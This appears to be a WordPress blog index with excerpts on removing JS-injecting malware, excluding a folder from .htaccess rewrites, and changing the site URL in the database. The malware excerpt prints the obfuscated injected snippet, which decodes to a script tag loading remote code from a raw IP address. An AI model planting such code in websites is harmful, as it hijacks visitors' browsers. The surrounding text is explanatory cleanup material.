removing wordpress malware infecting js files.

A recent WordPress malware is targeting WordPress websites by injecting a piece of malicious code into every single JavaScript files (mostly libraries specially Jquery) which acts maliciously by redirecting the visitors to advertising affiliate sites. Example injected code: var _0xaae8=[“”,”\x6A\x6F\x69\x6E”,”\x72\x65\x76\x65\x72\x73\x65″,”\x73\x70\x6C\x69\x74″,”\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C”,”\x77\x72\x69\x74\x65″];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])) Well I came to know about this when a client approached me to clean his hacked …

Exclude Folder from Rewrite rule in WordPress

It’s annoying that you cannot create folders in your wordpress website and access them directly,  it’s very easy to exlude your folders by editing the .htaccess file. simply use following line of code in your .htaccess and exclude your desired folder: RewriteCond %{REQUEST_URI} !(FOLDERNAME) [NC]   Incoming search terms:https://yandex ru/clck/jsredir?from=yandex ru;search;web;;&text=&etext=1821 PyDCF8BPfGEkw06MMNuFEeQy0kbbDPxWTEuPOjkn1k7aeFrIY4j1d18wJ7EqWiwO 7e581965cd88eca0c73fdcb21c7975ad772153e0&uuid=&state=_BLhILn4SxNIvvL0W45KSic66uCIg23qh8iRG98qeIXme

How to change WordPress site URL from Database

Hello everyone. Before anything I would like to show my respect to all those people who has lost their life in the typhoon in East Asia. Today I’m going to show how to change the WordPress site URL through the database. Well it might comes handy in case you have mistakenly changed your website url …